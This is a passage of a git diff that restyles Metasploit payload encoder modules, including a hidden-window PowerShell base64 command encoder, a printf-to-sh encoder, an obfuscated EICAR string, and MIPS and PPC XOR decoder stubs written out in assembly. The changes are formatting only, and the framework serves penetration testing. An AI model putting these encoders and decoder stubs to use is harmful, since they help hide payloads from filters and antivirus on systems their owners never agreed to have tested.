cmd.include? '=' - buf << " " - cmd = encode_buf(buf) - end + while cmd.include? '=' + buf << ' ' + cmd = encode_buf(buf) + end end cmd @@ -45,6 +46,6 @@ def encode_block(state, buf) def encode_buf(buf) base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c '#{Msf::Post::Windows.escape_powershell_literal(buf)}'")) - cmd = "powershell -w hidden -nop -e #{base64}" + "powershell -w hidden -nop -e #{base64}" end end diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index 8d48b0cc25381..4c7320d03aecb 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -18,58 +18,56 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'printf(1) via PHP magic_quotes Utility Command Encoder', - 'Description' => %q{ + 'Name' => 'printf(1) via PHP magic_quotes Utility Command Encoder', + 'Description' => %q{ This encoder uses the printf(1) utility to avoid restricted characters. Some shell variable substitution may also be used if needed symbols are blacklisted. Some characters are intentionally left unescaped since it is assumed that PHP with magic_quotes_gpc enabled will escape them during request handling. }, - 'Author' => 'jduck', - 'Arch' => ARCH_CMD, - 'Platform' => 'unix', - 'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes) + 'Author' => 'jduck', + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::PrintfPHPMagicQuotes) end - # # Encodes the payload # def encode_block(state, buf) - # Skip encoding for empty badchars - if(state.badchars.length == 0) + if state.badchars.empty? return buf end # If backslash is bad, we are screwed. - if (state.badchars.include?("\\")) or - (state.badchars.include?("|")) or - # We must have at least ONE of these two.. - (state.badchars.include?("x") and state.badchars.include?("0")) + if state.badchars.include?('\\') || + state.badchars.include?('|') || + # We must have at least ONE of these two.. + (state.badchars.include?('x') && state.badchars.include?('0')) raise EncodingError end # Now we build a string of the original payload with bad characters # into \0 or \x - if (state.badchars.include?('x')) - hex = buf.unpack('C*').collect { |c| "\\0%o" % c }.join + if state.badchars.include?('x') + hex = buf.unpack('C*').collect { |c| '\\0%o' % c }.join else - hex = buf.unpack('C*').collect { |c| "\\x%x" % c }.join + hex = buf.unpack('C*').collect { |c| '\\x%x' % c }.join end # Build the final output - ret = "printf" + ret = 'printf' # Special case: , try to use ${IFS} - if (state.badchars.include?(" ")) + if state.badchars.include?(' ') ret << '${IFS}' else - ret << " " + ret << ' ' end - ret << hex << "|sh" + ret << hex << '|sh' return ret end diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb index ab80e2fe08331..fb1be04df00a0 100644 --- a/modules/encoders/generic/eicar.rb +++ b/modules/encoders/generic/eicar.rb @@ -12,8 +12,8 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'The EICAR Encoder', - 'Description' => %q{ + 'Name' => 'The EICAR Encoder', + 'Description' => %q{ This encoder merely replaces the given payload with the EICAR test string. Note, this is sure to ruin your payload. @@ -21,18 +21,17 @@ def initialize standards should alert and do what it would normally do when malware is transmitted across the wire. }, - 'Author' => 'todb', - 'License' => MSF_LICENSE, - 'Arch' => ARCH_ALL, - 'EncoderType' => Msf::Encoder::Type::Unspecified) - + 'Author' => 'todb', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_ALL, + 'EncoderType' => Msf::Encoder::Type::Unspecified) end # Avoid stating the string directly, don't want to get caught by local # antivirus! def eicar_test_string - obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"] - obfus_eicar.join("-").upcase + obfus_eicar = ['x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar', 'standard', 'antivirus', 'test', 'file!$h+h*'] + obfus_eicar.join('-').upcase end # TODO: add an option to merely prepend and not delete, using @@ -40,7 +39,7 @@ def eicar_test_string # and not part of a larger whole. Problem is, OptBool is # acting funny here as an encoder option. # - def encode_block(state, buf) - buf = eicar_test_string + def encode_block(_state, _buf) + eicar_test_string end end diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb index 4e83a0e55b8cb..cb8399b4986d3 100644 --- a/modules/encoders/generic/none.rb +++ b/modules/encoders/generic/none.rb @@ -7,20 +7,20 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'The "none" Encoder', - 'Description' => %q{ + 'Name' => 'The "none" Encoder', + 'Description' => %q{ This "encoder" does not transform the payload in any way. }, - 'Author' => 'spoonm', - 'License' => MSF_LICENSE, - 'Arch' => ARCH_ALL, - 'EncoderType' => Msf::Encoder::Type::Raw) + 'Author' => 'spoonm', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_ALL, + 'EncoderType' => Msf::Encoder::Type::Raw) end # # Simply return the buf straight back. # - def encode_block(state, buf) + def encode_block(_state, buf) buf end end diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index dcf41a476a748..75ec3be6eeb0b 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -10,26 +10,24 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Byte XORi Encoder', - 'Description' => %q{ + 'Name' => 'Byte XORi Encoder', + 'Description' => %q{ Mips Web server exploit friendly xor encoder. This encoder has been found useful on situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS architectures, this one is based on the xori instruction. }, - 'Author' => - [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on - 'juan vazquez', # byte_xori encoder - 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) - ], - 'Arch' => ARCH_MIPSBE, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 1, - 'BlockSize' => 1, - 'KeyPack' => 'C', - }) + 'Author' => [ + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez', # byte_xori encoder + 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) + ], + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 1, + 'BlockSize' => 1, + 'KeyPack' => 'C' + }) end # @@ -37,80 +35,78 @@ def initialize # being encoded. # def decoder_stub(state) - # add 4 number of passes for the space reserved for the key, at the end of the decoder stub # (see commented source) - number_of_passes=state.buf.length+4 - raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766 + number_of_passes = state.buf.length + 4 + raise EncodingError, "The payload being encoded is too long (#{state.buf.length} bytes)" if number_of_passes > 32766 # 16-bits not (again, see also commented source) - reg_14 = (number_of_passes+1)^0xFFFF - reg_5 = state.buf.length^0xFFFF - - decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), < "\x02\xee\xf0\x2b", # set less than unsigned - "slt $30, $23, $14" => "\x02\xee\xf0\x2a" # set less than + 'sltu $30, $23, $14' => "\x02\xee\xf0\x2b", # set less than unsigned + 'slt $30, $23, $14' => "\x02\xee\xf0\x2a" # set less than } - instructions.each do |k,v| - if Rex::Text.badchar_index(v, state.badchars) == nil + instructions.each do |k, v| + if Rex::Text.badchar_index(v, state.badchars).nil? return k end end raise BadcharError.new, - "The #{self.name} encoder failed to encode the decoder stub without bad characters.", + "The #{name} encoder failed to encode the decoder stub without bad characters.", caller end diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index 986a2639c637a..4535dac3a220e 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -9,22 +9,21 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'XOR Encoder', - 'Description' => %q{ - Mips Web server exploit friendly xor encoder + 'Name' => 'XOR Encoder', + 'Description' => %q{ + Mips Web server exploit friendly xor encoder. }, - 'Author' => - [ 'Julien Tinnes ', # original shellcode - 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat - ], - 'Arch' => ARCH_MIPSBE, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - 'KeyPack' => 'N', - }) + 'Author' => [ + 'Julien Tinnes ', # original shellcode + 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat + ], + 'Arch' => ARCH_MIPSBE, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4, + 'KeyPack' => 'N' + }) end # @@ -32,114 +31,113 @@ def initialize # being encoded. # def decoder_stub(state) - # add one xor operation for the key (see comment below) - number_of_passes=state.buf.length/4+1 - raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240 - raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0 + number_of_passes = state.buf.length / 4 + 1 + raise EncodingError, "The payload being encoded is too long (#{state.buf.length} bytes)" if number_of_passes > 10240 + raise EncodingError, "The payload is not padded to 4-bytes (#{state.buf.length} bytes)" if state.buf.length % 4 != 0 # 16-bits not (again, see below) - reg_10 = (number_of_passes+1)^0xFFFF - reg_5 = state.buf.length^0xFFFF - decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), < -; -; The first four bytes in encoded shellcode must be the xor key -; This means that you have to put the xor key right after -; this xor decoder -; This key will be considered part of the encoded shellcode -; by this decoder and will be xored, thus becoming 4NULs, meaning nop -; -; This is Linux-only because I use the cacheflush system call -; -; You can use shellforge to assemble this, but be sure to discard all -; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c) -; -; change 2 bytes in the first instruction's opcode with the number of passes -; the number of passes is the number of xor operations to apply, which should be -; 1 (for the key) + the number of 4-bytes words you have in your shellcode -; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free) - - -;.text -;.align 2 -;.globl main -;.ent main -;.type main,@function - -main: - -li macro reg, imm -; lui reg, ((imm) >> 16) & 0ffffh -; ori reg, reg, (imm) & 0ffffh - addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff -endm - - li( $10, #{reg_10}) ; load number of passes ^ 0xffff - nor $10, $10, $0 ; put number of passes in $10 - - li( $11,-89) ; addend to calculated PC is 73 -;.set noreorder -next: - bltzal $8, next -;.set reorder - slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 - addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) - -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 - - - li( $9, -5) - nor $9, $9, $0 ; 4 in $9 - - addi $15, $9, -3 ; 1 in $15 -loop: - lw $8, -4($25) - - addu $23, $23, $15 ; increment counter - xor $3, $8, $17 - sltu $30, $23, $10 ; enough loops? - sw $3, -4($25) - addi $6, $9, -1 ; 3 in $6 (for cacheflush) - bne $0, $30, loop - addu $25, $25, $9 ; next instruction to decode :) - - - addiu $4, $16, -4 ; cacheflush() addr parameter - li( $10,#{reg_5}) ; cacheflush() nbytes parameter - nor $5, $10, $0 ; same as above -; li $6,3 ; $6 is set above, 3rd arg for cacheflush() - -; .set noreorder - li( $2, 4147) ; cacheflush -; .ascii "\\x01JT\\x0c" ; nul-free syscall - syscall 0x52950 -; .set reorder - - -; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout -; addi $5, $16, -8 -; li $6,40 ; how much to write -; .set noreorder -; li $2, 4004 ; write -; syscall -; .set reorder - - - nop ; encoded shellcoded must be here (xor key right here ;) -; $t9 (aka $25) points here - -EOS + reg_10 = (number_of_passes + 1) ^ 0xFFFF + reg_5 = state.buf.length ^ 0xFFFF + decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<~EOS).encoded.data + ; + ; MIPS nul-free xor decoder + ; + ; (C) 2006 Julien TINNES + ; + ; + ; The first four bytes in encoded shellcode must be the xor key + ; This means that you have to put the xor key right after + ; this xor decoder + ; This key will be considered part of the encoded shellcode + ; by this decoder and will be xored, thus becoming 4NULs, meaning nop + ; + ; This is Linux-only because I use the cacheflush system call + ; + ; You can use shellforge to assemble this, but be sure to discard all + ; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c) + ; + ; change 2 bytes in the first instruction's opcode with the number of passes + ; the number of passes is the number of xor operations to apply, which should be + ; 1 (for the key) + the number of 4-bytes words you have in your shellcode + ; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free) + + + ;.text + ;.align 2 + ;.globl main + ;.ent main + ;.type main,@function + + main: + + li macro reg, imm + ; lui reg, ((imm) >> 16) & 0ffffh + ; ori reg, reg, (imm) & 0ffffh + addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff + endm + + li( $10, #{reg_10}) ; load number of passes ^ 0xffff + nor $10, $10, $0 ; put number of passes in $10 + + li( $11,-89) ; addend to calculated PC is 73 + ;.set noreorder + next: + bltzal $8, next + ;.set reorder + slti $8, $0, 0x8282 + nor $11, $11, $0 ; addend in $9 + addu $25, $31, $11 ; $25 points to encoded shellcode +4 + addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) + + ; lui $2, 0xDDDD ; first part of the xor (old method) + slti $23, $0, 0x8282 ; store 0 in $23 (our counter) + ; ori $17, $2, 0xDDDD ; second part of the xor (old method) + lw $17, -4($25) ; load xor key in $17 + + + li( $9, -5) + nor $9, $9, $0 ; 4 in $9 + + addi $15, $9, -3 ; 1 in $15 + loop: + lw $8, -4($25) + + addu $23, $23, $15 ; increment counter + xor $3, $8, $17 + sltu $30, $23, $10 ; enough loops? + sw $3, -4($25) + addi $6, $9, -1 ; 3 in $6 (for cacheflush) + bne $0, $30, loop + addu $25, $25, $9 ; next instruction to decode :) + + + addiu $4, $16, -4 ; cacheflush() addr parameter + li( $10,#{reg_5}) ; cacheflush() nbytes parameter + nor $5, $10, $0 ; same as above + ; li $6,3 ; $6 is set above, 3rd arg for cacheflush() + + ; .set noreorder + li( $2, 4147) ; cacheflush + ; .ascii "\\x01JT\\x0c" ; nul-free syscall + syscall 0x52950 + ; .set reorder + + + ; write last decoder opcode and decoded shellcode + ; li $4,1 ; stdout + ; addi $5, $16, -8 + ; li $6,40 ; how much to write + ; .set noreorder + ; li $2, 4004 ; write + ; syscall + ; .set reorder + + + nop ; encoded shellcoded must be here (xor key right here ;) + ; $t9 (aka $25) points here + + EOS # put the key at the end of the decoder state.decoder_key_offset = decoder.length - 4 diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index 803390eabc772..5a8156e66ab1d 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -10,26 +10,24 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Byte XORi Encoder', - 'Description' => %q{ + 'Name' => 'Byte XORi Encoder', + 'Description' => %q{ Mips Web server exploit friendly xor encoder. This encoder has been found useful on situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS architectures, this one is based on the xori instruction. }, - 'Author' => - [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on - 'juan vazquez', # byte_xori encoder - 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) - ], - 'Arch' => ARCH_MIPSLE, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 1, - 'BlockSize' => 1, - 'KeyPack' => 'C', - }) + 'Author' => [ + 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'juan vazquez', # byte_xori encoder + 'Pedro Ribeiro ', # fix for Linux >= 2.6.11 (set up cacheflush() args properly) + ], + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 1, + 'BlockSize' => 1, + 'KeyPack' => 'C' + }) end # @@ -37,80 +35,78 @@ def initialize # being encoded. # def decoder_stub(state) - # add 4 number of passes for the space reserved for the key, at the end of the decoder stub # (see commented source) - number_of_passes=state.buf.length+4 - raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766 + number_of_passes = state.buf.length + 4 + raise EncodingError, "The payload being encoded is too long (#{state.buf.length} bytes)" if number_of_passes > 32766 # 16-bits not (again, see also commented source) - reg_14 = (number_of_passes+1)^0xFFFF - reg_5 = state.buf.length^0xFFFF - - decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), < "\x2b\xf0\xee\x02", # set less than unsigned - "slt $30, $23, $14" => "\x2a\xf0\xee\x02" # set less than + 'sltu $30, $23, $14' => "\x2b\xf0\xee\x02", # set less than unsigned + 'slt $30, $23, $14' => "\x2a\xf0\xee\x02" # set less than } - instructions.each do |k,v| - if Rex::Text.badchar_index(v, state.badchars) == nil + instructions.each do |k, v| + if Rex::Text.badchar_index(v, state.badchars).nil? return k end end raise BadcharError.new, - "The #{self.name} encoder failed to encode the decoder stub without bad characters.", + "The #{name} encoder failed to encode the decoder stub without bad characters.", caller end diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index 367014da90c14..517bc0fff3ac3 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -9,22 +9,22 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'XOR Encoder', - 'Description' => %q{ - Mips Web server exploit friendly xor encoder + 'Name' => 'XOR Encoder', + 'Description' => %q{ + Mips Web server exploit friendly xor encoder. }, - 'Author' => - [ 'Julien Tinnes ', # original shellcode - 'Pedro Ribeiro ', # fix Linux >= 2.6.11 and toupper() compat - ], - 'Arch' => ARCH_MIPSLE, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - 'KeyPack' => 'V', - }) + 'Author' => [ + 'Julien Tinnes ', # original shellcode + 'Pedro Ribeiro ' # fix Linux >= 2.6.11 and toupper() compat + ], + 'Arch' => ARCH_MIPSLE, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4, + 'KeyPack' => 'V' + } + ) end # @@ -32,114 +32,113 @@ def initialize # being encoded. # def decoder_stub(state) - # add one xor operation for the key (see comment below) - number_of_passes=state.buf.length/4+1 - raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 10240 - raise EncodingError.new("The payload is not padded to 4-bytes (#{state.buf.length} bytes)") if state.buf.length%4 != 0 + number_of_passes = state.buf.length / 4 + 1 + raise EncodingError, "The payload being encoded is too long (#{state.buf.length} bytes)" if number_of_passes > 10240 + raise EncodingError, "The payload is not padded to 4-bytes (#{state.buf.length} bytes)" if state.buf.length % 4 != 0 # 16-bits not (again, see below) - reg_10 = (number_of_passes+1)^0xFFFF - reg_5 = state.buf.length^0xFFFF - decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), < -; -; The first four bytes in encoded shellcode must be the xor key -; This means that you have to put the xor key right after -; this xor decoder -; This key will be considered part of the encoded shellcode -; by this decoder and will be xored, thus becoming 4NULs, meaning nop -; -; This is Linux-only because I use the cacheflush system call -; -; You can use shellforge to assemble this, but be sure to discard all -; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c) -; -; change 2 bytes in the first instruction's opcode with the number of passes -; the number of passes is the number of xor operations to apply, which should be -; 1 (for the key) + the number of 4-bytes words you have in your shellcode -; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free) - - -;.text -;.align 2 -;.globl main -;.ent main -;.type main,@function - -main: - -li macro reg, imm -; lui reg, ((imm) >> 16) & 0ffffh -; ori reg, reg, (imm) & 0ffffh - addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff -endm - - li( $10, #{reg_10}) ; load number of passes ^ 0xffff - nor $10, $10, $0 ; put number of passes in $10 - - li( $11,-89) ; addend to calculated PC is 73 -;.set noreorder -next: - bltzal $8, next -;.set reorder - slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 - addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) - -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 - - - li( $9, -5) - nor $9, $9, $0 ; 4 in $9 - - addi $15, $9, -3 ; 1 in $15 -loop: - lw $8, -4($25) - - addu $23, $23, $15 ; increment counter - xor $3, $8, $17 - sltu $30, $23, $10 ; enough loops? - sw $3, -4($25) - addi $6, $9, -1 ; 3 in $6 (for cacheflush) - bne $0, $30, loop - addu $25, $25, $9 ; next instruction to decode :) - - - addiu $4, $16, -4 ; cacheflush() addr parameter - li( $10,#{reg_5}) ; cacheflush() nbytes parameter - nor $5, $10, $0 ; same as above -; li $6,3 ; $6 is set above, 3rd arg for cacheflush() - -; .set noreorder - li( $2, 4147) ; cacheflush -; .ascii "\\x01JT\\x0c" ; nul-free syscall - syscall 0x52950 -; .set reorder - - -; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout -; addi $5, $16, -8 -; li $6,40 ; how much to write -; .set noreorder -; li $2, 4004 ; write -; syscall -; .set reorder - - - nop ; encoded shellcoded must be here (xor key right here ;) -; $t9 (aka $25) points here - -EOS + reg_10 = (number_of_passes + 1) ^ 0xFFFF + reg_5 = state.buf.length ^ 0xFFFF + decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <<~EOS).encoded.data + ; + ; MIPS nul-free xor decoder + ; + ; (C) 2006 Julien TINNES + ; + ; + ; The first four bytes in encoded shellcode must be the xor key + ; This means that you have to put the xor key right after + ; this xor decoder + ; This key will be considered part of the encoded shellcode + ; by this decoder and will be xored, thus becoming 4NULs, meaning nop + ; + ; This is Linux-only because I use the cacheflush system call + ; + ; You can use shellforge to assemble this, but be sure to discard all + ; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c) + ; + ; change 2 bytes in the first instruction's opcode with the number of passes + ; the number of passes is the number of xor operations to apply, which should be + ; 1 (for the key) + the number of 4-bytes words you have in your shellcode + ; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free) + + + ;.text + ;.align 2 + ;.globl main + ;.ent main + ;.type main,@function + + main: + + li macro reg, imm + ; lui reg, ((imm) >> 16) & 0ffffh + ; ori reg, reg, (imm) & 0ffffh + addiu reg, $0, imm ; sufficient if imm.abs <= 0x7fff + endm + + li( $10, #{reg_10}) ; load number of passes ^ 0xffff + nor $10, $10, $0 ; put number of passes in $10 + + li( $11,-89) ; addend to calculated PC is 73 + ;.set noreorder + next: + bltzal $8, next + ;.set reorder + slti $8, $0, 0x8282 + nor $11, $11, $0 ; addend in $9 + addu $25, $31, $11 ; $25 points to encoded shellcode +4 + addu $16, $31, $11 ; $16 too (used to set up the cacheflush() arg down below) + + ; lui $2, 0xDDDD ; first part of the xor (old method) + slti $23, $0, 0x8282 ; store 0 in $23 (our counter) + ; ori $17, $2, 0xDDDD ; second part of the xor (old method) + lw $17, -4($25) ; load xor key in $17 + + + li( $9, -5) + nor $9, $9, $0 ; 4 in $9 + + addi $15, $9, -3 ; 1 in $15 + loop: + lw $8, -4($25) + + addu $23, $23, $15 ; increment counter + xor $3, $8, $17 + sltu $30, $23, $10 ; enough loops? + sw $3, -4($25) + addi $6, $9, -1 ; 3 in $6 (for cacheflush) + bne $0, $30, loop + addu $25, $25, $9 ; next instruction to decode :) + + + addiu $4, $16, -4 ; cacheflush() addr parameter + li( $10,#{reg_5}) ; cacheflush() nbytes parameter + nor $5, $10, $0 ; same as above + ; li $6,3 ; $6 is set above, 3rd arg for cacheflush() + + ; .set noreorder + li( $2, 4147) ; cacheflush + ; .ascii "\\x01JT\\x0c" ; nul-free syscall + syscall 0x52950 + ; .set reorder + + + ; write last decoder opcode and decoded shellcode + ; li $4,1 ; stdout + ; addi $5, $16, -8 + ; li $6,40 ; how much to write + ; .set noreorder + ; li $2, 4004 ; write + ; syscall + ; .set reorder + + + nop ; encoded shellcoded must be here (xor key right here ;) + ; $t9 (aka $25) points here + + EOS # put the key at the end of the decoder state.decoder_key_offset = decoder.length - 4 diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 9412a02eed6e6..a5cc256d0b319 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -20,8 +20,8 @@ def initialize register_options( [ OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups. - ], - self.class) + ] + ) end def encode_block(state, buf) @@ -40,7 +40,7 @@ def encode_block(state, buf) # Modern versions of PHP choke on unquoted literal strings. quote = "'" if state.badchars.include?("'") - raise BadcharError.new, "The #{self.name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"') + raise BadcharError.new, "The #{name} encoder failed to encode the decoder stub without bad characters." if state.badchars.include?('"') quote = '"' end diff --git a/modules/encoders/php/hex.rb b/modules/encoders/php/hex.rb index 3c31fdff58c6c..f31714b942f32 100644 --- a/modules/encoders/php/hex.rb +++ b/modules/encoders/php/hex.rb @@ -20,8 +20,7 @@ def initialize register_options( [ OptBool.new('Compress', [ true, 'Compress the payload with zlib', false ]) # Disabled by default as it relies on having php compiled with zlib, which might not be available on come exotic setups. - ], - self.class + ] ) end diff --git a/modules/encoders/php/minify.rb b/modules/encoders/php/minify.rb index bf6438986388a..ea19b3b0302b4 100644 --- a/modules/encoders/php/minify.rb +++ b/modules/encoders/php/minify.rb @@ -11,7 +11,7 @@ def initialize 'Name' => 'PHP Minify Encoder', 'Description' => %q{ This encoder minifies a PHP payload by removing leasing spaces, trailing - new lines, comments, … + new lines, comments, ... }, 'Author' => 'Julien Voisin', 'License' => BSD_LICENSE, diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb index c78cc3f221601..e24de05742c37 100644 --- a/modules/encoders/ppc/longxor.rb +++ b/modules/encoders/ppc/longxor.rb @@ -7,27 +7,26 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'PPC LongXOR Encoder', - 'Description' => %q{ + 'Name' => 'PPC LongXOR Encoder', + 'Description' => %q{ This encoder is ghandi's PPC dword xor encoder with some size tweaks by HDM. }, - 'Author' => [ 'ddz', 'hdm' ], - 'Arch' => ARCH_PPC, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - 'KeyPack' => 'N', - }) + 'Author' => [ 'ddz', 'hdm' ], + 'Arch' => ARCH_PPC, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4, + 'KeyPack' => 'N' + }) end # # Returns the decoder stub that is adjusted for the size of # the buffer being encoded # - def decoder_stub(state) + def decoder_stub(_state) [ 0x7ca52a79, # 0x1da8
: xor. r5,r5,r5 0x4082fffd, # 0x1dac : bnel+ 0x1da8
@@ -48,7 +47,7 @@ def decoder_stub(state) 0x7ffff215, # 0x1de8 : add. r31,r31,r30 0x4220ffe0, # 0x1dec : bdnz- 0x1dcc 0x4cff012c, # 0x1df0 : isync - ].pack("N*") + ].pack('N*') end # @@ -57,7 +56,7 @@ def decoder_stub(state) def encode_finalize_stub(state, stub) icount = state.buf.length / 4 - stub[30, 2] = [ 1974 + icount ].pack('n') + stub[30, 2] = [ 1974 + icount ].pack('n') stub[22, 2] = [ state.key.to_i ].pack('N')[0, 2] stub[26, 2] = [ state.key.to_i ].pack('N')[2, 2] diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb index 0382d1af12a73..1b4a85f0bdb3c 100644 --- a/modules/encoders/ppc/longxor_tag.rb +++ b/modules/encoders/ppc/longxor_tag.rb @@ -7,25 +7,24 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'PPC LongXOR Encoder', - 'Description' => %q{ + 'Name' => 'PPC LongXOR Encoder', + 'Description' => %q{ This encoder is ghandi's PPC dword xor encoder but uses a tag-based terminator rather than a length. }, - 'Author' => [ 'ddz', 'hdm' ], - 'Arch' => ARCH_PPC, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - 'KeyPack' => 'N', - }) + 'Author' => [ 'ddz', 'hdm' ], + 'Arch' => ARCH_PPC, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4, + 'KeyPack' => 'N' + }) end # # Returns the decoder stub # - def decoder_stub(state) + def decoder_stub(_state) [ 0x7ca52a79, # 0x1da4
: xor. r5,r5,r5 0x4082fffd, # 0x1da8 : bnel+ 0x1da4
